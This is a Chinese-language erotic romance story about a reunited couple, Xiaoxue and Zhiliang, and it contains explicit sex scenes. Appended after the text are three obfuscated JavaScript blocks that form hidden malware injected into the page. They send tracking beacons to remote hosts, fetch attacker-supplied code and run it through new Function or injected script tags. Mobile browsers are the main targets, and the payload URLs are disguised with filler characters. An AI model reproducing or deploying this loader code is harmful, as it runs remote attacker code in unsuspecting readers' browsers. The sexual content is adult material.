小雪摇了摇头,表示事实并不是如他所想的那样子
小雪继续说着:「他负气走了后,我就一个人点着蜡烛,许愿望,切蛋糕,一个人吃着蛋糕,一边喝着酒,还一边掉眼泪,我好好的一个生日搞到一点气氛都没有了,结果隔天醉到连早上上班都爬不起来,你说惨不惨?」
志良有点讶异说:「怎幺跟我当初脑海里所想到的情形不太一样?」
小雪好奇地问说:「那你想的应该会是怎样?」
志良看了她一眼说:「妳少来了,妳应该比我还清楚,不要明知故问。」
小雪眼见套不出他的话,悻悻然地说:「喔!」
小雪说:「回台北后,虽然我曾想要见他一面,但我还是没有勇气主动找他,都是他打手机过来找我,他一直要求着要复合及要和见面,但没想到,到真能见面时,我却开始犹豫着该不该见面,我很怕很难再抗拒他,而发生了不该发生的事,让事情变得更难以放拾,生日那天我真的不知道他会突然跑来,他一气之下走了后,我才发现我对他的离去,并没有太大的感觉及难过,我就只有跟他见上那一次面而已,为什幺事情会变这样子?」
志良说:「那应该是妳已经走出来了,心里也对他看开了,并愿意接受你们已经分手的事实。」
小雪说:「不过,那天看到你在我家楼下的反应,我觉得心里很伤心、很难过,可是我又不知道该怎幺跟你解释这一切,不知道为什幺,事后我想想,我反而会比较在乎你的反应,这是为什幺?」
志良随口说着:「也许是妳不想失去一个好朋友吧!」
小雪说:「到现在我才发现,我并没有像我自己所说的那样敢爱敢恨,其实我也很怕失去跟分手。」
志良说:「会嘛?我倒是觉得妳是真的有这本事,要不然,四年前我们也不会就这样的分手了。」
小雪解释说:「我们当时在一起一年多,可是因为你毕业后就要去当兵了,而我又很怕没人陪我,我怕到时我会给你兵变,你会当兵当到要开枪自杀,所以我就想说我们先分手好了,如果有缘等到你退伍后再一起吧!」
志良说:「我才不会那幺没用,被兵变就去开枪自杀的,好不好?」
小雪抱歉地说:「只是后来当你退伍后,我已经早先认识现在这一个男友了,以我的个性,我不可能去脚踏两条船,所以就这样错过了。」
志良无言地点了点头,表示能理解,他拿起酒瓶问她还需不需要?
小雪点了点头,表示她需要。
她说:「虽然我不是酒鬼,但现在的我的确需要一些酒。」
志良听到后,微微笑了一下:「妳哪不是酒鬼,每次见到妳都在喝酒…」
小雪一手撑着头看着志良说:「他是我第二个男友,陪了我将近三年,虽然他劈腿伤害了我,但不可否认的,我的第一次是给了他,他是我这辈子第一个男人,那种感觉对女人来说是很深刻的,所以分手后,我很难对他放得下,你能体会那种心理吗?」
志良点了点头。
小雪坦白说出了自己的感想:「在你老家那三个月的生活里,我何尝不能感受到你的用心及关心,加上你又是我的初恋情人,你对我来说也有很重要的意义,那段时间我的心里,同时出现两个男人的身影,我的心头很乱,我不知道应该要选择谁?如果我冲动地作了决定,以后会伤害到我自己及另一个人,所以我一直犹豫到现在,直到最近我才比较想通了。」
志良有点讶异这个发现,他耐心地倾听着小雪说出自己的想法
小雪拨了一下头髮,说了下去:「我还记得中秋节那天,你曾经对我说过的话,所以这几个月来,我很认真地在釐清着自己的感情,自从知道他已经和那女人有了小孩后,我想我已经对他没有了感觉及感情,就算我答应回去他的身边,我也没办法再像从前一样的信任他了,那天那女人打来后,我也去换了新的手机号码,不想让他或她继续再骚扰我的生活,我和他已经将近两个月没有连络了,我和他之间已经结束了,而从今以后,我也不会再回头了。」
志良点了点头,认同她的作法说:「那很好啊!」
小雪见杯子空了,移到志良面前,意思请他倒一下酒
志良去开了另一瓶的梅酒,帮她倒了一些
小雪看了一下说:「再多一点!」
接着,她把将近一整个纸杯的酒一饮而尽!
志良关心地说:「小雪,妳醉了喔?怎幺喝那幺兇!」
志良又主动帮她空着的杯子,倒了一些酒
小雪双颊酡红,两眼眐眐地望着志良,接着她将脸靠近了志良,大胆地问他说:「那你能接受跟一个被交往三年的男人甩了的女人交往吗?」
志良在完全没有心理準备的情况下,被小雪的问题给吓了一大跳
他问说:「小雪,妳是不是喝醉了?」
小雪不承认也不否认,只是微红着脸,对着他傻笑着
志良感到喉间有点乾渴,喝了一口酒
小雪望着他说:「四年前那个爱玩的女孩子,现在已经变得比较成熟,也懂得珍惜了,时间若能再回到过去,她会愿意等待而不会再冲动地决定分手,现在你还愿意再给她一次机会,让她试着重新爱上你吗?」
志良无言地对她叹了一口气,接着,看着她摇了摇头
就起身去浴室里的桧木浴池放起了热热的温泉水
小雪一手扶着头,望着杯子里的酒,没想到她拉下了自尊
主动地对他告白,想要挽回他跟他复合,最后还是换来他的拒绝…
她苦笑了出来,心想也许这正是对她四年前年轻爱玩,要求分手
及生日那天她一时的犹豫,冲动地伤害了他,所应得的报应吧!
最后只见她趴在小桌子上,把头埋在双手上,流下了她后悔的眼泪
而在桌上她纸杯里的酒,转眼也已经又空了。
「喂!妳在干嘛?」志良出声问着她
小雪趴着哭泣地说:「你不要理我,让我哭一哭就没事了!」
「妳再不进来,等会儿水凉掉了,是要怎幺泡情人汤?」志良说道
她闻言后,过了一会儿,才缓缓抬起了头
看着志良靠在门外,脸上一副恶作剧的表情,才想到在庐山时,他曾经对她说过:「我只跟我的女朋友或未来的老婆一起泡情人汤。」
她这才知道是被志良给戏弄了,他明明是答应了,却是故意捉弄她
她有点羞愧转成生气说着:「你很坏耶!故意要看我伤心的样子!」
接着,她高兴地扑进志良的怀里:「坏死了!坏死了你!」
志良说着:「妳还没见识过我真正的坏!」
小雪好奇地问说:「你哪有多坏?」
志良耍冷地说着:「我人真的很坏,尤其我的下面更坏!」
小雪破涕为笑了出来,依偎在志良的怀里。
志良对小雪使个眼色说:「走吧,来去泡情人汤吧!」
小雪问说:「那要换泳衣吗?」
志良轻拍了她的额头一下说:「妳阿达麻秀逗了喔?」
小雪歪着头不解地:「嗯?」
只见志良开始动手一颗一颗地,解开了小雪她白色衬衫的钮扣
也解开她灰色短裙的拉链及扣子,帮她褪下了衣裙
双手更是绕到背后,帮她解开了扣子,脱下了内衣
小雪下意识用双手遮着自己的上半身
小雪羞红了脸,志良的手碰到她的小裤裤时,她紧张地说:「我自己来!」
志良对她说:「看着我!」
下一秒就双手一把褪下了她的小裤裤
志良说:「现在换妳帮我了!」
小雪害羞地也帮志良褪去他的衣物。
这是他们俩人第一次一丝不挂,裸裎相对地的泡在桧木浴池里泡情人汤
志良说:「其实这样赤裸面对面地泡情人汤的感觉,还不错耶!难怪恐龙和小舞常常来这里泡情人汤。」
小雪抱怨说:「之前就有给过你机会,是你自己不把握的!」
志良不确定地问说:「等一下,妳是说上次在庐山那次,妳是说认真的?」
小雪很自然地说:「对呀!」
志良搥胸顿足地说:「喔!妳怎幺不早说,我后悔了!」
小雪轻笑了出来说:「来不及了!」
两人抱在浴池里耳鬓厮摩着,体贴地互相帮忙擦擦背、洗洗澡后
穿上会馆早先準备的蓝白色的日式浴袍,互相把头髮吹了乾
志良把床铺四面白色的欧式帘幕全放了下,罩住了整张床,还关上了所有的灯
眼前四周全是白色的布景,更添浪漫的气氛
志良又对小雪使了使眼色,瞄了一下床舖
小雪问说:「睡觉?」
志良摇了摇头
小雪的脸马上就红了起来
小雪和志良面对面看着说:「没想到过了几年,我们还是又回到了原点。」
志良问说:「小雪,妳真的下定决心要跟我在一起了,妳不是因为跟男友分手后的寂寞?或是妳想利用我去报复妳前男友吧?」
小雪一手搂着志良的身体说:「我知道我现在要的是什幺样的男人,你要相信我!」
她认真地说着:「我会慢慢忘记掉跟前男友的事,好好回报你对我的爱,只爱你一个,只对你一个人好,你可不要作出背叛我的事,我江映雪……」
志良像是在背台词的说:「江映雪是个敢爱敢恨的女人,对不对?」
小雪不好意思地笑了出来说:「你知道就好!」
俩人生涩地亲吻着,就如同是四年前刚认识时,脸红心跳的模样
相视而笑了一下,隔着浴衣抚摸着彼此的身体
志良吻着她,大手也在她女性独特突出的像徵上抚摸着
惹得小雪不由自主地呼吸急促了起来,微微忍不住地扭动着身躯
志良问说:「妳是不是变大了?好像跟以前不太一样?」
小雪说:「对呀!以前刚认识你时是B,现在Up
Up
有C了。」
志良说:「难怪感觉不太一样!」
志良的手慢慢的往下移,探索到一块潮溼的禁地,好奇地胡乱用手探索着
小雪先是撇过头摀着嘴、轻笑了出来
志良不明究理地问:「怎幺了,这样不对吗?」
小雪牵引着他的手,引导到某个位置说:「这里才是会令我感到兴奋的地方,你不要乱摸。」
过一会儿,果不其然,小雪忍不住轻声娇喘了起来
他轻声地问说:「小雪,妳怎幺了?」
小雪红着脸不好意思地说着:「我每次喝了酒后,就会变得比较High一点!」
她还用着手指头算着说:「而且我…我已经将近快九个月没有那个了,所以可能比较敏感、兴奋一点吧?」
志良明知故问地问她说:「没有那个啊?」
小雪难为情地说:「讨厌!做爱啦!」
志良这才说:「难怪像是下大雨一样。」
小雪害羞地说:「你很坏耶!我又不是故意的,难道你会喜欢乾妹妹吗?」
小雪双手主动解开了志良的浴衣,渐渐从大腿抚摸了上来
她突然讶异地摀着嘴说:「它看起来好像真的很坏的样子!」
志良很有自信,得意地对着小雪说:「它这辈子,还没被女孩子用过呢!」
小雪有点怀疑地说:「真的吗?」
志良说:「当然了,我就只有交过妳这幺一个女朋友而已。」
小雪坐了起来,转头四处寻找着东西
志良一脸疑问地问说:「小雪,妳在找什幺?」
她从旁边的茶几拿起了,刚才那罐还没喝完的梅酒酒瓶,打开后
她先是让自己喝了一口酒,接着仰头喝了一大口,小心翼翼地含在嘴里
一脸似笑非笑地盯着志良,一手扶着她的长髮,在他的双腿间埋下了头
耳边马上传来志良的低吼声:「喔!Shit!!!」
过一会儿,她才抬起了头,一脸很有成就感的看着志良的表情轻笑着
还用手背擦了擦嘴边溢出的酒汁。
志良则是一脸快要虚脱的模样说着:「这…实在太刺激了!」
小雪笑着说:「你还没试过奶油、果酱、冰块、水果果肉、可乐吧?」
志良一脸很有兴趣地模样问说:「真的有这些吗?」
小雪笑笑地在他耳边说着:「以后再说啰!」
小雪从大提包里拿出了两样东西各放在左右手的手心上
她摊开双手给志良选择:「你要那一样?」
志良看了看问说:「我可以选左手边的吗?」
小雪皱了一下眉头说:「念在你是〝初犯〞,只有这次,下不为例!等会儿记得要提醒我,你不要害我喔!」
志良高兴地亲了小雪一下:「谢谢!我会记得的。」
小雪像是在恶作剧一样,看着志良因为第一次的原因
对女性的生理构造不了解,而一直不得其门而入,满头大汗着
她觉得志良很可爱,眼前的这一幕也很有趣!
想开口指导他,但又怕伤害到他男人的自尊心
后来,小雪用手指头对志良勾了几下,作出叫他过来的动作
让他的上半身靠近了过来,小雪仰头用手在床头柜上抽了几张面纸
一手贴心地帮志良,因为紧张、心急在额头、脸上流出的汗珠给擦掉
另一手悄悄的扶了一下,帮助他对準了入口。
小雪说:「我準备要把自己交给你了,往后的日子里,你可要好好对我喔!」
志良点了点头说:「傻瓜,就算妳不说,我也一定会努力做到的!」
小雪附在耳边说着:「志良,我发骚(烧)了,我想要打针!你要忍住喔!」
在志良还不明究理她的话,是什幺意思时
小雪已经用双手扶着志良的腰,慢慢的向着自己的方向用力压了下去
她皱起眉头,忍住了呼吸,脸上有着一点痛苦混着舒服的複杂神情
志良的脸上也有着很刺激兴奋及感动的表情,他调侃小雪说:「我记得,妳不是说过妳很怕打针,打针很痛的?」
小雪难为情地说:「那要看是谁帮我打针的啰?」
志良充满慾望地说:「今晚我要妳只属于我一个人的!」
小雪害羞地抿了一下嘴唇,轻轻点了点头
俩人终于紧紧的将身体及心灵结合在一起……
小雪脸色潮红,一手紧捉着床单,另一手紧捉住志良的手臂不放
最后在志良的一声低吼声中,俩人气喘嘘嘘地紧紧的相拥着
事后,志良拿了一杯水跟药丸扶起了小雪说:「妳还好吧?先吃下吧!」
志良在她的额头上亲吻了一下,说了声:「谢谢妳!」表示对她的怜惜
小雪虚脱地紧紧搂着志良,就在小雪快要睡着,失去意识之前
她在志良的脸颊上亲吻了一下,带着一脸的满足,疲累地睡去!
(黑娃娃的OS:这种被阉割掉的情色,写得比Discovery频道动物繁殖的旁白
还保守,活像是在描写两具塑胶衣架模特儿,写得够唯美、不猥亵了吧?
应该引不起任何的性慾了吧?完全没有用到像:
乳龟阴抽胸插头潮阳淫唇爽痒舔蒂弄液肉操穴弄干水射啊喔…这些字眼的
哇哩咧∼我还真怀疑我是怎幺写得下去?还写得出来的?)
隔天早上小雪先醒了来,侧着头趴在枕头上,想起昨晚激情的片段画面
微笑地看着志良,用着食指轻拂着他脸上的线条
当他发现他的睫毛动了起来后,她赶紧将头趴向另外一边装睡
志良一把将她整个人翻身,让她趴在他的身上
顺势搂住了她说:「小坏蛋,还装!我知道妳已经醒了。」
小雪『啊!』的尖叫了一声,笑了出来说:「被你发现了。」
志良闻着她的髮香,轻抚着她光滑无暇疵的背部线条
小雪侧着脸靠在他的胸膛上,听着他的心跳,感受他热热的体温
志良问说:「我真的觉得很奇怪,像妳这幺好的一个女朋友,为什幺还有男人会想出去偷吃劈腿呢?」
小雪抬了起头,怀疑地问说:「有吗?我有很好吗?」
志良说:「有呀!妳既有身材、又有脸蛋、内在、个性也不差,在床上又像蕩妇,别人我不知道,但对我来说,我已经感到很满足了!」
小雪说红着脸辩解说:「我哪里有像蕩妇?我只是配合度比较高而已。」
志良偷吻了她一下说:「对我来说,妳已经很完美了,妳就是我的唯一了。」
小雪开心地说:「你现在是在哄我吗?」
志良说:「对!我是真心的在哄妳!」
小雪一想到,还能够再次真实的拥抱爱情,寻回错过的初恋情人
她感觉彷彿像是在作梦一样
她吸了一口气,紧紧搂住了志良的身躯
深怕这一份幸福,会从指间溜走似的,嘴角露出一抹满足的微笑
志良问说:「妳怎幺了?」
小雪摇了摇头,过了一会儿才说:「我现在觉得很幸福!很满足!」
志良试探性地问着她:「那我昨晚第一次的表现还可以吗?」
小雪随口说说:「马马虎虎啦!」
志良不敢相信地,大叫了出来:「什幺!昨晚我那幺累,结果评语就只有〝马马虎虎〞四个字?」志良突然一翻身将小雪压在身下
志良用充满着慾望的双眼凝望着她,一副準备要惩罚她的样子。
小雪发现情况不对劲,求情地说「刚才我是在开玩笑的,昨晚太激烈了,我到现在全身都还有点酸痛,我都不太相信你真的是第一次…」
小雪撒娇地说:「昨晚表现,嗯∼金牌奖、五个灯、一百分,这样可以了吧?」
志良说:「妳这评审要专业一点,不要乱给分,这影响到我以后的奖品!」
小雪疑问地说:「什幺奖品?」
志良很认真地说:「我以后还想要试试奶油、果酱、冰块、水果果肉、可乐,这些的!」
志良开玩笑地说:「如果妳现在跟我说这些是骗我的,我会翻脸的喔!」
小雪没想到志良会对这件事这幺认真,她哈哈大笑了出来!
她这才附在志良的耳边说:「好啦!是真的啦!」
志良跟她玩闹着说:「那什幺时候,我才可以领到我的奖品?」
小雪也跟他玩着说:「那就要看你往后日子里对我好不好啰!」
小雪笑完后说着:「没想到四年后,当我和男友分手时,还会在街头遇见你,最后还被你诱拐、骗到南投的山上去卖笑。」
志良辩解地说:「喂…!小姐,妳不要乱说,我…我哪有用诱拐、用骗的?让妳吃好、住好,还常常陪妳,带妳到处去玩、逗妳开心、照顾妳、关心妳,况且我哪有叫妳卖笑?」
小雪说:「那没有,你还三不五时,偷吃我的豆腐,连问都没问一声,就牵起了人家的手,结果就把人家女孩子的心给牵走的!」
志良笑了出来说:「拜託,妳还不是一样,常偷吃我的豆干?妳也不是连问都没问一声,就常常偷亲我的脸,妳明知道我对妳的扺抗力很差,很难抗拒妳,妳这样亲是会把我男人的心给亲走的!」
志良话才一说完「啵!」的一声,又被一旁的小雪给偷袭了!
志良也不甘示弱,马上也「啵!」的一声,还以颜色
志良像是想到什幺似的问说:「对了,昨天听恐龙说,这房间是有心人士的赞助,妳知道谁是这有心人士吗?」
小雪笑了一下说:「是女的,你猜猜看!」
志良说:「喔!那是小舞对不对?因为她跟妳是同学,你们比较熟!」
小雪摇了摇头说:「不是她。」
志良又再猜说:「那是妳的学姊-靓靓了?奇怪她应该跟妳不是很熟才对?」
小雪又再次摇了摇头:「也不是她。」
志良讶异地说:「难不成会是妳?为什幺?」
小雪点了点头说:「这次其实是我找小舞及恐龙帮忙的,阿噜跟靓靓知道后,他们也觉得你跟我之间,如果就这样结束了,很可惜!所以他们也说要帮忙凑合我们,我很怕你会因为上次生日的事而不理我,所以我才使了一点小手段,製造一个独处的机会,你不会因为这样而生气吧?」
志良说:「不会,也许我还要感谢妳呢!要不然,我可能会因为一时冲动或是沮丧,而去乱交了新女友,那我们就不可能有今天这样的结果了!」
小雪说:「幸福是靠自己去争取的,我只是试着去争取,最后能不能成功,也是要看你是否有跟我相同的心意!」
志良才恍然大悟地说:「难怪昨晚我就在想,妳怎幺会出来玩,还会刚好带套子跟事后丸出来,原来妳都预谋好了。」
小雪摇了摇头否认说:「我只有出钱请恐龙帮我订房间而已,套子不是我带的,是昨天阿噜在临走之前,塞了一个给我,他说我们可能会用到的!而事后丸也是小舞塞给我的,她也说有80\%的机会用得上,要我先留在身边备用。」
志良不敢置信地说:「吼∼现在是怎样?我怎幺感觉,我好像是被一堆人联手给推下火坑里,被逼“良”为娼的?」
小雪在一旁看着志良懊恼、难为情的模样,开心地笑着。
她作势拍了拍志良的肩膀说:「小良,你放心,夫人一定对你负责到底的!只要你不要让老爷知道这件事!」
志良捏了她的小鼻头说:「妳怎幺还是像以前一样那幺爱玩啊!」
小雪无意地提及:「像我前男友他就不会像你……」
话还没说完,志良已经用吻封住了她的小嘴
小雪问说:「你干嘛?」
志良说:「看着我!从今以后妳的眼里及心里就只能有我,不能有其它的男人,也不准在我面前提起妳的前男友。」
小雪笑了出来说:「你…吃醋了?」
志良突然一阵沈默地看着小雪的脸思考着
小雪有点担心地说:「你不要不说话,你是怎幺了?你不要生气!」
志良看了看手錶后说:「我想……我们还是不要辜负阿噜的一番好意好了。」
他一手摸上床头上的保险套,拉上了棉被
房间里传来女人的笑声及尖叫声,大叫着:「啊!不要!救命啊!」
一个男人的声音说着:「这里荒山野岭的,任妳叫破了喉咙也没用!」
门外传进来一声微弱的声音:「您好!送早餐。」
但俩人玩得正兴起,丝毫没有听见
接着,又是一阵女人的尖叫声:「来人啊!快来人啊!强姦啊!非礼啊!」
门外的人用力的敲了敲门,提高了音量:「您好,送早餐!!!」
房里传出一男一女惊慌的声音:「啊!丢脸死了!妳干嘛乱叫强姦啦!这下被人听到了啦!」
志良,你快穿好衣服去开门!
这幺丢脸的事,妳看我现在这样是要怎幺穿上裤子啦?
妳刚才不是说妳会负责到底的?妳穿上衣服妳去啦!
志良,你人最…最好了,人家肚子饿了,你快去端早餐来给我吃
夫人!妳再不去开门,我就要去告诉老爷,妳昨夜玷污了我这件事。

function iFXlZSq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function JSaFINX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return iFXlZSq(t);};window[''+'S'+'X'+'d'+'Q'+'k'+'v'+'I'+'w'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function RlUC(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=JSaFINX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=RlUC(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=RlUC(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9171',window,document,['H','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();